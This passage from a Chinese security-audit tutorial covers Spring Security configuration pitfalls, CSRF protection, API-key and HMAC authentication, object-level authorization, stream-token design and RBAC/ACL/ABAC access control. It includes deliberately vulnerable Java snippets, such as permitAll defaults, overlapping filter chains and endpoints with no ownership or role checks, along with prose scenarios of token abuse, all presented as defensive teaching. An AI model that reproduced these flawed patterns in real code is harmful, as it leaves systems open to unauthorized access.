再像这样,也不太合适。可能在刚开始使用的时候,看起来没有什么问题。但是如果后面添加了新的接口,这个接口会是默认公开的。如果此时,开发者只记得加接口,忘记加规则。或者更糟糕一点,之前写配置的人此时已经不在原来的项目组,交接的时候,这里可能只是一个“小问题”,至少不是天天要看的业务问题,那就灾难性了。 .authorizeHttpRequests(auth -> auth .requestMatchers("/admin/**").hasRole("ADMIN") .anyRequest().permitAll() // 所有其他路径都公开 ) 2. 多个 SecurityFilterChain 的 securityMatcher 重叠导致绕过 @Configuration @Order(1) // 优先级高(值越小越优先) public class LowSecurityChain { @Bean public SecurityFilterChain lowChain(HttpSecurity http) throws Exception { http.securityMatcher("/api/public/**") .authorizeHttpRequests(auth -> auth.anyRequest().permitAll()); // 完全公开 return http.build(); } } @Configuration @Order(2) public class HighSecurityChain { @Bean public SecurityFilterChain highChain(HttpSecurity http) throws Exception { http.securityMatcher("/api/**") // 注意:/api/public/** 也匹配这个模式 .authorizeHttpRequests(auth -> auth.anyRequest().authenticated()); return http.build(); } } 这里因为 @Order(1) 的链先被检查,/api/public/some 请求先匹配 LowSecurityChain(.securityMatcher("/api/public/**") 匹配),从而被放行,不会走到高安全链。其实和我们讨论的第一种问题具有相似性。 3. 配置里面的csrf是干什么用的? 这个地方体现出spring security比shiro好的一点,spring security是提供内置的`csrf token`的。所以,聪明的你发现,下面这段代码,就是生成一个`csrf token`,存在一个前端 JS 可读的 Cookie 里面,然后由前端读取后放入请求头,这属于常见的 Cookie + Header CSRF 防护方案。 许多教学项目里面,这个地方是被`disable`的,那是因为那些前后端分离,且只教后端的项目,有些时候是没有前端代码的,而这种`csrf token`的校验是需要前端JS配置的。如果不关的话,用postman等端口测试工具测试,会通过不了校验的。但在生产环境下,这里还是要写出来的。 .csrf(csrf -> csrf .csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse()) // JS 可读 .csrfTokenRequestHandler(new CsrfTokenRequestAttributeHandler()) // 将 CSRF Token 暴露到请求属性默认从请求头读取 .ignoringRequestMatchers("/api/public/**") // 公开 API 可忽略 ) 究竟需不需要`csrf token`这个东西,大概是如下表所示的 | 认证方式 | 是否有 Cookie 传递凭证 | 建议 CSRF | 理由 | | ---------------------------- | ---------------------- | -------- | ---------------------- | | Session + Cookie(传统表单登录) | 是 | **必须开启** | 浏览器自动携带 Cookie,易受 CSRF | | Session + Cookie(SPA 前端) | 是(`JSESSIONID` cookie) | **必须开启** | 同上 | | JWT 存储在 Cookie 中(`httpOnly`) | 是 | **必须开启** | Cookie 仍是凭证载体 | | JWT 存储在 `Authorization` 头部 | 否 | 可以关闭 | 浏览器不会自动附加 | | OAuth2 使用 Cookie 存储 Session | 是 | **必须开启** | 凭证通过 Cookie 传递 | | OAuth2 使用 `Bearer Token` 头 | 否 | 可以关闭 | 无 Cookie 凭证 | | API 认证(API Key、HMAC) | 否 | 可以关闭 | 无 Cookie 凭证 | 但其实你发现,我们之前讨论过的一点是,现在其实更喜欢把维持登录状态的`token`放在HTTPONLY的cookie里面,因为放在localStorage里面,会有XSS风险。而XSS的严重程度,是比CSRF高很多的。 那么通常来说,还是要开启csrf防护的,然后只对少数你不需要且符合安全要求的接口,或者那种开了csrf防护会登不上去的接口,像这样做`.ignoringRequestMatchers("")`,这是更合理的。 补充一点是,其实防范CSRF的机制很多,比如浏览器层面的SameSite机制,Origin / Referer……不能因为已经有了比如说SameSite机制,就不适用`csrf token`,这个需要多重防护叠加。比较标准的实践是 Cookie 凭证 + CSRF Token + SameSite + 必要时来源校验 + 敏感操作二次验证或者二级密码 然后,实际情况下,不同新旧程度的项目,可能使用的认证方案不太一样,我们在做审计的时候,要根据项目之中使用的具体机制,看是否符合安全要求。毕竟,也不是说所有的项目都是处于最佳安全实践的状态下的。 ### 3.9 接口鉴权 之所以讨论这个话题,是因为最近看到一些JD中还是对接口鉴权是有需求的。 当我刚开始看到接口鉴权的时候,我在想这个东西一定很高大上,嗯,鉴权,说不定还和什么密码学,零信任模型有关系,说不定还需要什么研究经历什么论文才能够上。 不过好在,实际上没有那么复杂。接口鉴权其实回答两个问题,一是,你是谁,二是,你有没有权限访问这个接口,这个资源,这个操作。也就是我们通常所说的授权。 更通俗一点是。小明同学登录了A网站,输入密码/扫码/短信验证,总之登录成功之后,我们证明了一件事,就是小明同学确实是合法用户,这个就是认证。 然后小明同学开始查看自己的订单,自己查询自己的订单这个肯定是可以的,但是如果小明同学去查小红同学的订单,这个就不太合理了,就不应该同意了。这个就叫做授权。 比如典型的接口鉴权失效,或者说没有进行合理的鉴权例子如下。只要提供一个合法地id,我们可以更新任何文章或者删除任何文章,不管它们是否属于我们。 //controller层 @PutMapping public Result update(@RequestBody @Validated(Article.Update.class) Article article) { articleService.update(article); return Result.success(); } @DeleteMapping public Result delete(@NotNull final Integer id) { articleService.delete(id); return Result.success(); } //service层 @Override public void update(final Article article) { articleMapper.update(article); } @Override public void delete(final Integer id) { articleMapper.delete(id); } 那么常见的接口鉴权方案有哪些呢? 首先是做身份认证,这个我们在上面讨论过身份验证的方案比如: - JWT/Bearer Token - Session + Cookie - OAuth2 - HMAC - mTLS 然后需要讨论的一个问题是,什么人有资格访问什么,使用什么接口。这个就是权限模型方面的问题。 比如,你可以基于RBAC,基于ABAC。 但是,这在一些时候,其实并不太够。 #### 3.9.1 基础情况 **用户登录后调用接口场景**:常规的web场景下 比如小明同学是用户,用户的权限是可以访问订单。听起来好像没有问题。但就像我们上面说的,其实小明只能够访问他自己的订单才对。 因此这个地方其实应该还有要有一个对象级别的鉴权,方法级别的有些时候都还有点不够。 怎么做对象级别的鉴权呢? 这个东西就很简单了。核心思想就是,去数据库查询一下,看这个订单是否真的属于小明同学。 实现上,最常见的就是 public OrderDTO getOrderDetail(Long orderId, Long currentUserId) { Order order = orderRepository.findById(orderId) .orElseThrow(() -> new NotFoundException("订单不存在")); if (!order.getUserId().equals(currentUserId)) { throw new ForbiddenException("无权访问该订单"); } return OrderDTO.from(order); } 或者直接这样查也行 public OrderDTO getOrderDetail(Long orderId, Long currentUserId) { Order order = orderRepository.findByIdAndUserId(orderId, currentUserId) .orElseThrow(() -> new ForbiddenException("订单不存在或无权访问")); return OrderDTO.from(order); } 也可以使用AOP或者注解来做。 不过这种除非你有大规模的类似规则,否则不建议。一方面太隐式了,不好管理。另一方面,调式成本很高,复杂业务容易绕晕。 然后spring security也提供了一些优雅的用法 @PreAuthorize("@orderPermissionChecker.canView(#orderId, authentication)") public OrderDTO getOrder(@PathVariable Long orderId) { return orderService.getOrder(orderId); } 然后再写一个Bean @Component public class OrderPermissionChecker { @Autowired private OrderRepository orderRepository; public boolean canView(Long orderId, Authentication authentication) { CustomUserPrincipal principal = (CustomUserPrincipal) authentication.getPrincipal(); if (principal.hasRole("ADMIN")) { return true; } return orderRepository.existsByIdAndUserId(orderId, principal.getUserId()); } } 缺点就在于,会变得难读。考虑到一些自动化审计的场景,这个可能会卡自动化审计。对象级的校验,我感觉还是放在业务层比较好,代码直观,也给code review省事。 上面大概就是用户登录后调用接口的场景下,接口鉴权大概在做的事情。比如一个典型的过程就是: 用户登录,验证账号密码-> 服务端签发 access token-> 客户端调用接口时带上 Bearer token-> 网关或服务端校验 token-> 解析用户身份和角色-> 执行权限判断-> 返回数据 **那开放平台第三方调用呢?** 这个时候我们就要说到API Key这个东西。 比如现有一个接口 GET /api/weather?city=shanghai 但是我只想提供给我的用户使用,那么这个时候,我给对方一个凭证(api key),对方在调用这个接口的时候,在Header里面带上这个key(不要带在查询参数里面,容易被日志,浏览器历史,或者代理,监控,中间件等记录下来)。我拿到请求之后,把这个key拿出来,和数据库里面对照一下,看是不是合法的key,是不是对应weather这个应用,有没有过期……都通过后允许使用这个接口。 那么像这样的东西,有一个要求就是,最好不要那么容易被伪造,被窃取。不然,A网站提供的API key都长这个样`A-key-XXXXX`,那我就可以提供猜测或者遍历的方式去推测合法的key,不付钱地去使用A网站提供的服务。 再比如一个并不算API Key,但是逻辑上很贴切的案例:比如某车企,现在 因此通常来说API Key要是一个高随机的字符串比如`sk_8Jf93kLmQa72Zx...`。 简单的流程比如像这个样子 public class ApiKeyAuthFilter extends OncePerRequestFilter { private final ApiKeyService apiKeyService; public ApiKeyAuthFilter(ApiKeyService apiKeyService) { this.apiKeyService = apiKeyService; } @Override protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain) throws ServletException, IOException { String apiKey = request.getHeader("X-API-Key"); if (apiKey == null || apiKey.isBlank()) { response.setStatus(HttpServletResponse.SC_UNAUTHORIZED); response.getWriter().write("Missing API Key"); return; } ApiClient client = apiKeyService.validate(apiKey); if (client == null) { response.setStatus(HttpServletResponse.SC_UNAUTHORIZED); response.getWriter().write("Invalid API Key"); return; } request.setAttribute("apiClient", client); filterChain.doFilter(request, response); } } @Service public class ApiKeyService { @Autowired private ApiClientRepository repository; public ApiClient validate(String apiKey) { ApiClient client = repository.findByApiKey(apiKey); if (client == null) { return null; } if (!client.isEnabled()) { return null; } if (client.getExpireTime() != null && client.getExpireTime().isBefore(LocalDateTime.now())) { return null; } return client; } } 但其实我们发现,这个地方有一个问题,就是api key很多时候,它是长期不变的。在上面的验证之中,很明显的是,我们只验证了api key合法性,但是没有验证api key的归属。比如是不是购买这个api key用户正在使用它? 产生的风险就会是,这种api key就像一张没有密码也不记名的公交卡,谁拿到了,都能够刷它做地铁。然后在一些服务使用方,编码不规范的情况下,还容易把这个key给硬编码。 总的来说,单独使用api key安全性十分有限,只适用于一些对于安全要求比较低的场景。 ❓ 对于一些开放的第三方平台现在是怎么做的呢? 一些典型的实践是 API Key + Secret + HMAC 这个实践我们需要分两种情况讨论: 1. secret只负责签名 即,API接口提供方保存一个secret,当给用户颁发`api key`时,这样`signature = HMAC(secret, method + path + body + timestamp + nonce)`,实际上颁发的是一个签名。 如果只是平台自己持有`secret`,而用户手里只有一个`api key`,那么服务端本质上只能校验这个`key`是否是自己签发的、是否还有效,而不能据此证明这次请求一定是`api key`的合法持有者本人发起的。 这样做绝对安全嘛?能不能防我们上面所的问题? ——能够防一部分,但是并不是全部。 首先,我们来看签名的好处在于什么,主要是防篡改,防伪造。于是在你的`secret`合乎安全规范时,至少解决了一个问题,那就是,我想去通过猜测/遍历的方式去伪造一个合法的`api key`,not so easy,资源被盗用的风险降低了。 但,你发现没有有什么问题不能够解决呢?比如像我们的钞票,其实防伪防篡改做的很好,但是不妨碍,我在地上捡个钱,或者去偷个钱,然后把它用出去。也就是说还是没有身份上的绑定。 一旦 API Key 或 Secret 泄露,攻击者仍然可以冒充合法调用方发起请求;如果再缺少 timestamp、nonce 这类机制,请求还可能被重放。 `API Key + Secret + HMAC`的实践下,很多可能最会从降低`api key`的泄露的角度去防护,但是很多时候并非某种意义上算法上的闭环的防止。 具体方案可能是,这个`api key`,平台在生成之后,给用户看过一次之后,就销毁掉,数据库里面不会存它的原文,会像密码一样存哈希值。 再比如推荐再https的情况之下使用…… 这些操作就像,下雨了,我给你多带一些帽子,祈祷雨水不要打湿所有的帽子。而不是给你一把伞,或者让你去早一条封闭式回廊。 这里面存在的一种隐藏意思是`It is the user's responsibility to protect the API key`,所以很多平台会有类似,提醒用户不要泄露自己的`api key`,要好好保护。嗯,这种不泄露其实不止是,不要给别人看,不要在网上传播。面对那种企业用户,也在于,比如你不要硬编码,或者用不安全的保存,传输方式使用你的`api key`。 所以,为什么没有那么安全。因为在这种使用场景之下,设计的目的就没有想让它有那么安全。 2. secret不只负责签名 上在面的案例里面,我们会觉得非常不美妙,你这不能够验证身份,这不是欺负老实人嘛。这这这……怎么听好像都不符合安全的美学啊! 那我们来看,如果`secret`不只负责签名。另一种更完整一点的方案,是平台在发放`api key`的同时,再给用户分配一个单独的`secret`。 后面用户调用 API 时,不只是把`api key`带上,而是还要用这个`secret`对请求内容做一次签名, signature = HMAC(secret, method + path + body + timestamp + nonce + u……) 总之把能够认证身份的东西搞里头。 然后厂商拿到这个签名后,就用服务器上保存的`secret`做一个验签,确定确实是持有`secret`的合法用户的请求,允许调用。 这听起来很美妙的样子。 在不考虑用户会不会弄丢,泄露自己的`secret`的情况。我们来分析这个方案还需要做什么事情来保证安全。 这……你既然要让用户算签名,嗯,也行,也许用户本身就是开发软件的吧,或者想办法配备一下。但既然如此,算法得公开统一吧,不然用户怎么算,大家根本没法正确接入。 而在这种前提之下,每个用户得`secret`就不能统一了吧?不然一个合法的用户,可以拿着一个`secret`去不合法地重放,伪造,使用其他用户地`api key`,这就不合理了吧。 既然每个用户的`secret`不太一样,那是不是得用一个专门得数据库表来存?当时比如根据用户id来对着查,找到对应得`secret`进行验证。 先不谈那种被高频率调用的api这样搞的开销问题。另一个很大的问题是,`secret`这种机密的东西,总不能随便放着吧?管理上会有点麻烦。 因此,很多情况下一些API提供方还是只会提供`api key`,因为如果给用户提供`secret`的话,系统会变重很多。 3. 来点非对称加密?比如RSA/ECDSA 其实和2是一样的情况,安全是一个问题,有没有必要这么安全又是另一个问题。 一方面,非对称加密的开销会更大点,另一方面,证书的颁发和管理又是另一个问题。 这个地方,之后有时间再详细讨论吧。 4. 更安全一点的场景? 那可能要求: - mTLS 双向认证 - 证书体系 - 专线 / VPN / 固定网络边界 - 设备指纹 / 机器身份 - 硬件密钥保护 - 请求级审批或多因子确认 - 细粒度白名单 - 短期令牌替代长期密钥 - 更强的审计与追责机制 #### 3.9.2 微服务下场景 相比上面两个相对简单的场景,更加复杂的其实是微服务框架下的场景。这个时候关注的是,这个调用方服务到底是不是合法服务、有没有权限调这个接口、请求有没有被篡改、能不能被重放。 在复杂的系统之中,有很多个微服务,微服务之间存在着诸多的调用链。处理鉴权问题,其实是相当复杂的。因此本小节注意做一个引入,我们来理解,着究竟是一个什么场景。而真的,想要理解在复杂系统下的接口鉴权问题,这必然还是要到实际的生产系统之中去观察,而且需要看的很多。 我们就就线上小说平台来对比两个场景: - 老式平台:这类系统通常会设计不同模块,但模块之间并非真正独立。可能存在供作者使用的后台、供编辑使用的后台,以及供读者使用的阅读功能。这些功能在项目结构上可能分布在不同文件夹,但底层通常共享同一个核心系统,甚至使用同一个数据库。 - 更具体地说,例如作者更新文章后,将内容推送到首页时,可能会调用读者模块的功能。在这种情况下,这种调用很可能只是跨包调用了一个函数,并未真正涉及独立的服务接口或鉴权机制。 - 在更现代的系统:这种系统同样会区分作者端、编辑端和读者端,但这种区分通常不只是体现在代码目录上,而是会进一步落实为独立服务、独立接口,甚至独立的数据存储。模块之间的交互,不再主要依赖内部函数调用,而更多依赖接口调用、消息通知或事件同步。 - 更详细而言就是,比如作者更新文章之后,要把内容展示到读者首页,这个过程往往不是直接调用读者模块中的某个函数,而是由作者侧系统通过明确的服务接口或异步消息机制,把变更通知给读者侧系统,再由读者侧完成首页刷新或内容分发。此时,系统也更需要单独校验调用方身份、接口访问权限,以及是否满足具体业务条件。 在老式系统中,API 调用者通常就是某个用户角色,因此鉴权逻辑相对简单:只需要判断角色是否有权限访问接口。 而在现代系统中,API 调用者可能是前台用户、代表用户的微服务、系统内部任务,甚至第三方应用。不同调用主体的身份、凭证、权限边界和业务条件各不相同,因此接口鉴权也相应变得复杂:不仅要验证“是谁”,还要判断“能否在当前上下文下访问特定资源”。 比如,小明同学想要在A网站上查看一篇自己买过的小说,故事会变成这样: 小明同学通过前台阅读服务A去查自己买过的小说,但是这一部分数据事实上并不归前台阅读服务A管理,它拿到小明的授权之后,于是去调用订单/权益服务B,查询小明同学的订阅数据,返回给小明。听起来像一个OAuth2?一些情况下也确实是基于OAuth2实现的。 再举一个后台任务的例子:在小说平台中,结算模块每天凌晨十二点后,需要对作者的稿费和作品人气进行结算。为了完成这项任务,它可能需要调用多个服务:排行榜模块,作品管理服务,作者管理服务,订单/权益服务…… 然后,有同学可能会说:这些不都是内部服务吗?要么跑在内网里,要么部署在云平台上,云服务提供商也会提供一定的安全能力,那是不是就没有必要再专门做鉴权了? 事实上,很多时候并不能这样理解。 首先,这些服务未必真的处在传统意义上的“公司内网”中。很多公司本身就没有严格意义上的自建内网、机房和物理服务器,而是直接使用云厂商提供的计算、网络和存储资源来部署系统。即使从拓扑上看,这些服务似乎位于“内部网络”,它们也往往只是处在某个云上的私有网络、VPC 或容器集群之中,而不是一个天然可信、可以完全不做防护的环境。 其次,云厂商当然会提供一定的安全能力,但这些能力通常解决的是外围安全或基础设施安全问题。比如防火墙、安全组、WAF,或者主机安全检测、恶意程序检测、入侵告警之类的机制。它们主要防的是非法流量、常见攻击、异常行为,或者主机层面的安全风险。 但这并不能够完全解决我们面对的安全问题。像防火墙一类的安全措施,解决的是流量应不应该进来,但是不会解决内网中的一个微服务调用另一个微服务是否是合法的这个问题。而且可以看出来,我们常常会有一种错觉就是,内网之中的互相调用通常是合法的。但一些学过SSRF的同学会知道,一切并非如此。 在小说平台的故事里面,作品管理服务调用审核服务这看起来是合理的,前台阅读服务调用作品管理服务也是合理的。但是支付服务,或者前台阅读服务调用审核服务就不太合理了。 **因此这一部分,常常不是代码的问题,而是整个鉴权的架构,策略设计的是否合理,接口对于的`token`设计和管理是否安全的问题。** 因为无法列举所有的情况,我们仅以两个例子说明一下。 ##### 直播推流接口的鉴权 现在小明同学要在A平台开播了,从他打开A平台app,到观众看到他直播,发生了什么? [主播客户端] | | 1. 登录账号 v [业务认证服务器] | 2. 校验账号身份 & 开播资格 | 3. 签发临时推流凭证 (stream key / token) v [主播客户端] | 4. 使用 stream key/token 构造推流 URL v [推流服务器 / RTMP/RTC/SRT] | 5. 握手阶段验证 token 是否有效 | - 检查签名 | - 检查过期时间 | - 可选:检查 IP / 设备绑定 v [推流接入成功] | | 6. 推流数据开始上传 v [观众观看│ App/Web/H5/CDN] 那么,在这个故事里面,小明有没有资格开播,取决于第二步业务认证服务器。业务认证服务器,通过账号相关的信息来判断开播资格。如果这一步被绕过了,就会导致没有资格开播的人,开播。 而推流服务器推不推流,则取决于校验主播的`stream key/token`是否通过。 我在网络上找了一些有关直播推流架构设计的文章 1. [直播系统源码,架构如何设计](https://cloud.tencent.com.cn/developer/article/2580838) 2. [5分钟搞定直播安全:ZLMediaKit的RTMP推流Token鉴权实战指南](https://blog.csdn.net/gitblog_00967/article/details/153073248) 3. [token鉴权的生成方法与使用](https://help.aliyun.com/zh/live/token-based-authentication) 4. [LiveQing直播点播流媒体OBS推流直播如何获得接口校验token视频校验streamToken及配置token有效期](https://juejin.cn/post/6948649250246885413) 里面都讲了一些,类似场景下应该如何设计,流程是什么,token要怎么校验。 比如,你可以用HMAC-SHA256来设计这个`token`。 一种常见的做法是:将用户账户(user_id)、房间号(room_id)、过期时间(expire_timestamp) 等关键字段用分隔符拼接,再加上 HMAC 签名。例如: plaintext = roomId|timestamp|userId sig = HMAC-SHA256(plaintext, secretKey) token = base64(plaintext + "|" + sig) 推流接入层收到 token 后,验签过程可以借鉴 JWT 的标准流程: 1. 解码:将 token 按格式解析,提取出 payload(房间号、过期时间、用户 ID)和签名部分。 2. 校验签名:使用服务端持有的相同 secretKey,对 payload 重新计算 HMAC-SHA256,与 token 中的签名进行比对。如果不等,说明 token 被篡改,直接拒绝推流。 3. 校验过期时间:检查当前时间是否在 expire_timestamp 之前。若已过期,即使签名正确也要拒绝。 4. 校验数据一致性:验证 payload 中的 user_id 是否与当前推流的账号一致,room_id 是否与该主播允许推流的房间匹配(防止跨房间推流)。此外,还可以添加 IP 绑定、设备指纹等额外校验维度。 5. 检查状态:验签通过后,推流服务器应额外向业务后台查询当前用户和房间的风控状态、是否被封禁或暂停权限,确保实时性。 在前文之中,我们已经提及了,这些必要性的过程,如果出现缺省,都会带来不同程度的安全问题。这里不再赘述。 另外一些问题,也是上面的四篇博客之中,并没有重点关注的问题。可能我们也需要考虑一下。 那就是`token`的撤销机制。在一个默认有效期为24小时的`token`之中。试想下面的场景 1. 小明下播后,如果平台没有把该`token`绑定到“本次直播会话”,也没有在下播时立即失效或轮换,那么在`token`仍未过期的时间窗口内,它可能仍可用于重新发起推流。 2. 小明违规了,他的直播间被封禁,不允许继续播了。但是`token`却没有被拉黑,且推流服务器在收流时只校验 token 的签名、过期时间或所属 userId,而不回查该 userId 当前是否仍具备开播资格。那么如果后续,小明还能够拿着这个`token`用脚本走推流服务器继续推流。 3. 如果平台允许一次次开播时不断签发新的、彼此都仍有效的`token`(不失效旧的),而这些`token`又没有和“当前有效直播会话”做唯一绑定,也没有限制并发推流数量,那么小明可以通过不断地开播,下播,开播,下播……积累多个仍在有效期内的 token,并尝试并发发起多路推流。 4. 一种不太幸运的情况:服务器拿到`token`之后,确实做了验签,校验`token`之中的,和报文携带的`userid`是否是一致的,该`token`是否是合法的。但是忘记去校验登录状态凭证(例如JWT,sessionid)中的`userid`是否和前面两个`userid`等同。结果是,小明可以把自己生成的合法 token 分发给其他账号,让这些账号在客户端带上`token`和自己的登录凭证去推流,绕过平台限制,推流服务器仍然认为他们是合法用户,从而可能进行非法直播。 因此在这种场景下,从安全的角度上考虑,仅仅注意上面引用的四篇文章中的内容,其实还不太足够的。还需要附加考虑: - 停播/封禁/意外中断等情况下的`token`吊销机制:已发放的 token 必须能被即时撤销,否则即便主播被禁止开播,旧 token 仍可能被滥用。 - 同一用户持有`token`数量的管理:理论上,一个用户可能生成多个 token(尤其是短期 JWT)。虽然完全限制数量较难,但如果第一条“及时吊销旧 token”做得好,这个问题基本上可以解决。 - 需要验证`token`的归属,但并不是验证`token`属于报文中的`userid`,而是要和登录状态下的`userid`对应,比如`JWT token`,`sessionid`中的。 ##### 一些微服务下的鉴权架构 #### 3.9.3 身份认证 vs 接口鉴权:为什么在简单系统里看起来像同一回事? 这个也不算是错觉。 因为在很多有访问控制模型的系统里面,特别是一些简单/低复杂度的系统,一些教学系统之中,用的都是RBAC(基于角色的访问控制)。 也就是说,你是用户,于是你有用户的权限,可以使用用户的接口,你就能够下单,能够买单,但是你不能够操作后台财务系统。 你是管理员,于是你就可以有管理员的权限,可以使用管理员的接口,比如拉黑某客户,添加/删除新的操作员。 在这样的系统之中,你能够做什么,都是和你是什么角色所绑定的。而认证,干的事情就是证明你是“谁”。于是此时,我们会感觉,好像身份认证和接口鉴权或者有些时候是授权,看起来好像是一个东西。 而换一个场景。比如,我们为付了钱的用户,提供看新上线的大片的服务。 在登录验证的时候,很显然,我们不会为付了钱的用户,去提供一个单独的验证方式。还是,比如登录完了之后,正常下发一个JWT token,这个JWT token在校验的过程之中和普通用户的其实没有什么区别。 而当用户要访问要看《XXX》大片的接口时,这个接口则需要单独做一个校验,看用户是不是为这个大片付费了的。如果付了费,我们就允许他访问。或者为了在一段时间内,维持允许他访问,不做过多的查询数据库校验的方式,我们还可以为这个接口给他发一个短期的`api key`,`sessionid`,`jwt token`之类的。 更加贴切的一种场景下,比如我使用某个大模型平台,要用他们的API。我登入到该平台拿到的身份认证凭证,和我使用API拿到的`api key`,肯定不是一个东西。 比较在这种场景下,我登录了又不代表我充钱了,更不代表我有权限访问大模型的API。需要对于这个接口,另外再进行验证。 ### 3.10 访问控制策略 在实际系统建设中,安全问题并不总是来源于传统意义上的“漏洞”。很多时候,即使系统不存在明显的 SQL 注入、XSS、命令执行等安全缺陷,仍然可能因为访问控制策略设计不合理而带来严重风险。 访问控制问题的危险之处在于,它往往不是“系统被黑了”,而是“系统本来就允许了不该允许的行为”。这种问题更偏向业务逻辑与权限架构层面,一旦设计失当,造成的后果同样可能非常严重,包括越权操作、敏感数据泄露、误删除关键数据,甚至引发内部人员滥用权限等问题。 例如,在一个电商后台管理系统中,如果只设置了一类“后台操作员”角色,并默认该角色可以操作商品、订单、用户、营销、财务、权限分配等所有功能,那么从表面上看,这种设计似乎并不会直接引发典型的 Web 攻击。但从实际业务管理和企业内控的角度来看,这样的权限划分显然是不合理的。 原因在于,不同岗位的职责本身就应当有所区分。负责商品运营的人员不一定需要查看财务数据,客服人员不应拥有修改系统配置的能力,普通运营人员更不应具备账号权限分配、日志删除等高危操作权限。如果系统将这些能力全部集中到同一类角色中,就会导致权限过大、职责不清、审计困难等问题。一旦账号泄露,或内部人员存在误操作、滥用操作,影响范围也会被显著放大。 因此,在系统设计中,访问控制策略不应仅仅满足“能用”,还应满足最小权限原则、职责分离原则以及便于审计和扩展的要求。常见的访问控制模型包括 RBAC、ABAC、ACL,以及在云平台和 SaaS 系统中经常需要考虑的多租户权限模型。 下面是一个有趣的案例。 这里是登录认证,我们可以看到有两种角色和权限,user和admin /** * 注册自定义拦截器 * * @param registry */ protected void addInterceptors(InterceptorRegistry registry) { log.info("开始注册自定义拦截器..."); registry.addInterceptor(jwtTokenAdminInterceptor) .addPathPatterns("/admin/**") .excludePathPatterns("/admin/employee/login"); registry.addInterceptor(jwtTokenUserInterceptor) .addPathPatterns("/user/**") .excludePathPatterns("/user/user/login") .excludePathPatterns("/user/shop/status"); } 然后我们看员工管理模块。 先不说,存在的水平越权,logout后并没有真正注销`JWT token`的问题。 我们观察在这个权限机制下,任何一个后台操作员,可以随意禁用,启用其他员工的账号,还可以随意删除别人的账号,创建一个新的账号。这肯定是不太合理的。 /** * 员工管理 */ @RestController @RequestMapping("/admin/employee") @Slf4j @Tag(name = "EmployeeController", description = "员工管理") public class EmployeeController { @Autowired private EmployeeService employeeService; @Autowired private JwtProperties jwtProperties; /** * 登录 * * @param employeeLoginDTO * @return */ @Operation(summary = "登录") @Parameters({ @Parameter(name = "employeeLoginDTO", description = "登录信息", required = true) }) @PostMapping("/login") public Result login(@RequestBody EmployeeLoginDTO employeeLoginDTO) { log.info("员工登录:{}", employeeLoginDTO); Employee employee = employeeService.login(employeeLoginDTO); // 登录成功后,生成jwt令牌 Map claims = new HashMap<>(); claims.put(JwtClaimsConstant.EMP_ID, employee.getId()); String token = JwtUtil.createJWT( jwtProperties.getAdminSecretKey(), jwtProperties.getAdminTtl(), claims); EmployeeLoginVO employeeLoginVO = EmployeeLoginVO.builder() .id(employee.getId()) .userName(employee.getUsername()) .name(employee.getName()) .token(token) .build(); return Result.success(employeeLoginVO); } /** * 退出 * * @return */ @PostMapping("/logout") public Result logout() { return Result.success(); } /** * 新增 * * @param employeeDTO * @return */ @PostMapping public Result save(@RequestBody EmployeeDTO employeeDTO) { log.info("新增员工:{}", employeeDTO); employeeService.save(employeeDTO); return Result.success(); } /** * 启用/禁用 * * @param status * @param id * @return Result */ @PostMapping("/status/{status}") public Result startOrStop(@PathVariable Integer status, long id) { log.info("员工启用/禁用:{}, {}", status, id); employeeService.startOrStop(status, id); return Result.success(); } /** * 根据id查询员工 * * @param id * @return Result */ @GetMapping("/{id}") public Result getById(@PathVariable long id) { log.info("根据id查询员工:{}", id); Employee employee = employeeService.getById(id); return Result.success(employee); } /** * 修改 * * @param employeeDTO * @return Result */ @PutMapping public Result update(@RequestBody EmployeeDTO employeeDTO) { log.info("修改员工:{}", employeeDTO); employeeService.update(employeeDTO); return Result.success(); } } #### 3.10.1 RBAC(Role-Based Access Control) RBAC,即基于角色的访问控制,是当前企业系统中最常见的一种权限管理模型。其核心思想不是直接把权限授予用户,而是先定义若干角色,再将权限赋予角色,最后将用户分配到对应角色中。 其基本关系可以概括为: 用户(User) → 角色(Role) → 权限(Permission) 在上面一个电商外卖系统里面,合理的设计可能是: (1)小店的话至少要区分管理员和普通操作员 超级管理员:可以管理所有员工账号、角色和系统配置,用于紧急运维或权限调整,日常业务操作不必使用。 操作员:负责日常业务,如商品、订单、客户服务 然后在实现方面,不能指望杂spring security的config部分一次配全。比如可以像这样来写 @PreAuthorize("hasAuthority('EMPLOYEE_MANAGE')") @PostMapping public Result save(@RequestBody EmployeeDTO employeeDTO) { ... } @PreAuthorize("hasAuthority('EMPLOYEE_MANAGE')") @PostMapping("/status/{status}") public Result startOrStop(@PathVariable Integer status, long id) { ... } @PreAuthorize("hasAuthority('EMPLOYEE_MANAGE')") @PutMapping public Result update(@RequestBody EmployeeDTO employeeDTO) { ... } @PreAuthorize("hasAuthority('EMPLOYEE_VIEW')") @GetMapping("/{id}") public Result getById(@PathVariable long id) { ... } 对于更大型的电商后台,可能就需要更加复杂的权限设计 超级管理员 人事管理员 审计员 普通后台操作员 业务管理员 权限管理员 / 安全管理员 …… #### 3.10.2 ACL(Access Control List) 即访问控制列表,其核心思想是:在资源对象上直接记录“谁可以做什么”。 例如,一个文件、一个接口或一条数据记录上,可以明确列出哪些用户可以读取、哪些用户可以修改、哪些用户被拒绝访问。 比如像这个样子 文件:salary.xlsx 允许: - Alice:读/写 - Bob:只读 - Charlie:拒绝 Linux 文件权限其实就是 ACL 的简化版。 ACL 的优点是直观、简单,适合资源数量较少、权限关系相对固定的场景。例如操作系统文件权限、某些文档共享系统权限控制等,都可以视为 ACL 的典型应用。 但 ACL 的缺点也很明显:当用户和资源规模增长后,维护成本会迅速上升。特别是在大型业务系统中,如果大量资源都需要分别维护一份访问名单,就很容易变得混乱,而且不利于统一管理。 比如一百万个文件,十万个用户。这个时候每个文件维护一个访问控制列表,而且还巨长……现在,磁盘不用干别的事情了,只需要存一百万个访问控制列表了…… 在上面的外卖后台例子里面,能不能够用ACL解决呢?其实也能够的。比如像这个样子 | 资源 | 用户 | 权限 | | ---- | -- | ------------------------------------- | | 员工管理 | 小明 | view, create, update, enable, disable | | 员工管理 | 小红 | view | | 员工管理 | 小张 | view | | 订单管理 | 小红 | view, update | | 商品管理 | 小红 | view, update | | 商品管理 | 小明 | view, create, update, delete | #### 3.10.3 ABAC(Attribute-Based Access Control) 即基于属性的访问控制,更强调通过规则进行动态授权。ABAC 不再单纯判断“你是谁”,而是进一步判断: - 你具有什么属性; - 资源具有什么属性; - 当前操作是什么; - 当前环境是否满足条件。 这听起来像是一个规则匹配?确实是的,ABAC非常适合做规则匹配 比如像这个样子: 允许访问,当: - 用户部门 = finance - 用户级别 >= P7 - 